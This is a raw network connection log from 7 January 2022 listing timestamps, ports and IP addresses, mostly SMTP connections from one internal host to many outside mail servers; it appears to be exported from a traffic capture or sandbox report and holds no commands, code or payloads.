Jan 7, 2022 15:44:04.007800102 CET	49979	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:04.057590008 CET	49989	25	192.168.2.6	44.198.115.56
Jan 7, 2022 15:44:04.069890022 CET	49978	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:44:04.129066944 CET	49990	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:04.162592888 CET	25	49987	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:04.164899111 CET	49987	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:04.197141886 CET	25	49989	44.198.115.56	192.168.2.6
Jan 7, 2022 15:44:04.197418928 CET	49989	25	192.168.2.6	44.198.115.56
Jan 7, 2022 15:44:04.338823080 CET	25	49989	44.198.115.56	192.168.2.6
Jan 7, 2022 15:44:04.338980913 CET	49989	25	192.168.2.6	44.198.115.56
Jan 7, 2022 15:44:04.355767965 CET	25	49979	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:04.468178988 CET	25	49987	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:04.468327045 CET	49987	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:04.476917028 CET	25	49989	44.198.115.56	192.168.2.6
Jan 7, 2022 15:44:04.478490114 CET	25	49989	44.198.115.56	192.168.2.6
Jan 7, 2022 15:44:04.478637934 CET	49989	25	192.168.2.6	44.198.115.56
Jan 7, 2022 15:44:04.492036104 CET	49973	25	192.168.2.6	195.29.173.131
Jan 7, 2022 15:44:04.515023947 CET	25	49979	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:04.515301943 CET	49979	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:04.579406977 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:04.618887901 CET	25	49989	44.198.115.56	192.168.2.6
Jan 7, 2022 15:44:04.619147062 CET	49989	25	192.168.2.6	44.198.115.56
Jan 7, 2022 15:44:04.661894083 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:04.667752981 CET	25	49987	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:04.668986082 CET	49987	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:04.739088058 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:04.739209890 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:04.758649111 CET	25	49989	44.198.115.56	192.168.2.6
Jan 7, 2022 15:44:04.758841991 CET	49989	25	192.168.2.6	44.198.115.56
Jan 7, 2022 15:44:04.758878946 CET	49989	25	192.168.2.6	44.198.115.56
Jan 7, 2022 15:44:04.759155035 CET	49995	25	192.168.2.6	67.219.247.199
Jan 7, 2022 15:44:04.815498114 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:04.851078033 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:04.851182938 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:04.862271070 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:04.865608931 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:04.865747929 CET	25	49979	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:04.898588896 CET	25	49989	44.198.115.56	192.168.2.6
Jan 7, 2022 15:44:04.898633003 CET	25	49989	44.198.115.56	192.168.2.6
Jan 7, 2022 15:44:04.898698092 CET	49989	25	192.168.2.6	44.198.115.56
Jan 7, 2022 15:44:04.898739100 CET	49989	25	192.168.2.6	44.198.115.56
Jan 7, 2022 15:44:04.900089979 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:04.900243044 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:04.907438993 CET	25	49995	67.219.247.199	192.168.2.6
Jan 7, 2022 15:44:04.908204079 CET	49995	25	192.168.2.6	67.219.247.199
Jan 7, 2022 15:44:05.018104076 CET	25	49987	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:05.019397020 CET	25	49979	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:05.019542933 CET	49979	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:05.059573889 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.059617043 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.059648037 CET	25	49995	67.219.247.199	192.168.2.6
Jan 7, 2022 15:44:05.059678078 CET	25	49995	67.219.247.199	192.168.2.6
Jan 7, 2022 15:44:05.059906960 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:05.059988976 CET	49995	25	192.168.2.6	67.219.247.199
Jan 7, 2022 15:44:05.060012102 CET	49995	25	192.168.2.6	67.219.247.199
Jan 7, 2022 15:44:05.171947002 CET	25	49987	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:05.172158003 CET	49987	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:05.208261967 CET	25	49995	67.219.247.199	192.168.2.6
Jan 7, 2022 15:44:05.210618019 CET	49952	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:05.210779905 CET	49951	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:05.219976902 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.220000982 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.220665932 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:05.235810995 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:05.235960007 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:05.249682903 CET	49998	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:44:05.273099899 CET	49978	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:44:05.290572882 CET	25	49998	176.223.123.126	192.168.2.6
Jan 7, 2022 15:44:05.290738106 CET	49998	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:44:05.367263079 CET	25	49979	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:05.406124115 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.406280994 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:05.424470901 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:05.431516886 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:05.434340954 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:05.517232895 CET	25	49987	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:05.533936024 CET	25	49979	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:05.534269094 CET	49979	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:05.534323931 CET	49979	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:05.565772057 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.566190004 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:05.567439079 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:05.623331070 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:05.623481989 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:05.623668909 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:05.673860073 CET	25	49987	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:05.674030066 CET	49987	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:05.726952076 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.726994991 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.727020979 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.727047920 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.727076054 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.727165937 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:05.727241039 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:05.799056053 CET	49955	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:05.812247992 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:05.812342882 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:05.812503099 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:05.829416990 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.831927061 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:05.884083986 CET	25	49979	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:05.886545897 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.886626959 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.886706114 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.886729956 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:05.886795044 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:05.886821985 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.886850119 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.886877060 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:05.886955976 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.886970997 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:05.887048960 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:05.887115955 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.887229919 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.887341976 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:05.887382984 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.888001919 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:05.888700008 CET	25	49979	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:05.991600037 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:05.995109081 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.002877951 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.003287077 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.004225969 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.021794081 CET	25	49987	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:06.038768053 CET	25	49979	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:06.038986921 CET	49979	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:06.039155006 CET	25	49979	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:06.039354086 CET	49979	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:06.046189070 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.046267033 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.046380997 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.046432018 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.046566963 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.046642065 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.046650887 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.046796083 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.046881914 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.046912909 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.046941996 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.047039986 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.047058105 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.047332048 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.047360897 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.047389030 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.047415972 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.047435045 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.047460079 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.047492981 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.047538042 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.047561884 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.047633886 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.047677040 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.047705889 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.047733068 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.047764063 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.047785044 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.047837973 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.114378929 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:06.118431091 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:06.154836893 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.154973030 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.154995918 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.157218933 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.159543037 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:06.161370993 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:06.185816050 CET	25	49987	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:06.186067104 CET	49987	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:06.186459064 CET	50000	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:06.186465025 CET	49987	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:06.192733049 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.192900896 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.193736076 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.193859100 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.203155041 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:06.203320980 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:06.206496000 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.206526041 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.206583977 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.206610918 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.206618071 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.206638098 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.206665993 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.206693888 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.206722021 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.206747055 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.206787109 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.206861019 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.206882954 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.206943035 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.207045078 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.207107067 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.207161903 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.207226992 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.207320929 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.207396030 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.207403898 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.207432985 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.207461119 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.207468987 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.207490921 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.207530022 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.207578897 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.207650900 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.207650900 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.207714081 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.207856894 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.207886934 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.207921028 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.207952976 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.208004951 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.208033085 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.208061934 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.208074093 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.208101988 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.208127975 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.208132982 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.208162069 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.208194017 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.208214998 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.208340883 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.208396912 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.208457947 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.208523035 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.208611965 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.208631039 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.208667040 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.208678007 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.208694935 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.208743095 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.208754063 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.208805084 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.208949089 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.208969116 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.208986044 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.209016085 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.209033966 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.209053040 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.209053993 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.209086895 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.209109068 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.238653898 CET	25	50000	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:06.238805056 CET	50000	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:06.257517099 CET	49980	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:06.284121990 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:06.291907072 CET	25	50000	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:06.292100906 CET	50000	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:06.315310001 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.315351963 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.315490961 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.316632986 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.316708088 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.316797972 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.316878080 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.344065905 CET	25	50000	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:06.346471071 CET	25	50000	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:06.346791029 CET	50000	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:06.366205931 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.366245031 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.366272926 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.366344929 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.366374016 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.366405010 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.366491079 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.366518021 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.366621017 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.366755962 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.366784096 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.366847992 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.367019892 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.367057085 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.367127895 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.367137909 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.367250919 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.367291927 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.367398977 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.367444992 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.367599010 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.367600918 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.367717028 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.367798090 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.367868900 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.367897034 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.367949963 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.368022919 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.368052006 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.368123055 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.368150949 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.368158102 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.368221045 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.368221998 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.368319035 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.368441105 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.368469000 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.368498087 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.368524075 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.368539095 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.368624926 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.368637085 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.368666887 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.368736982 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.368779898 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.368799925 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.368807077 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.368834972 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.368896961 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.368907928 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.368958950 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.368982077 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369013071 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369029045 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.369123936 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.369165897 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369194984 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369219065 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369262934 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.369329929 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.369399071 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369429111 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369453907 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369481087 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369493008 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.369550943 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369565010 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.369580030 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369606018 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369632959 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369661093 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.369704008 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369735003 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369812012 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.369853973 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.369874001 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.369885921 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.369915009 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370007992 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.370055914 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.370102882 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370127916 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370141983 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370157957 CET	25	49992	173.228.157.39	192.168.2.6
